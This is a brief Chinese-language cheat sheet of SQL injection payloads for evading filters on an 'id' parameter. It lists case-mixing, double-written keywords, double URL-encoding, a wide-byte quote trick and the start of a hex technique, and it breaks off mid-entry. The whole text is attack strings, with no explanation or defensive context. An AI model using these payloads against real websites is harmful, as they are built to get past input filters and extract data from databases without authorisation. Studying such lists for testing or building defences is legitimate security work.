大小写 id=-1 uNIoN sELecT 1,2,3 双写 id=-1 UNIunionON SELselectECT 1,2,3 编码 id=1%252f%252a*/UNION%252f%252a /SELECT id=1%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1 十六进制 id=-1 /*...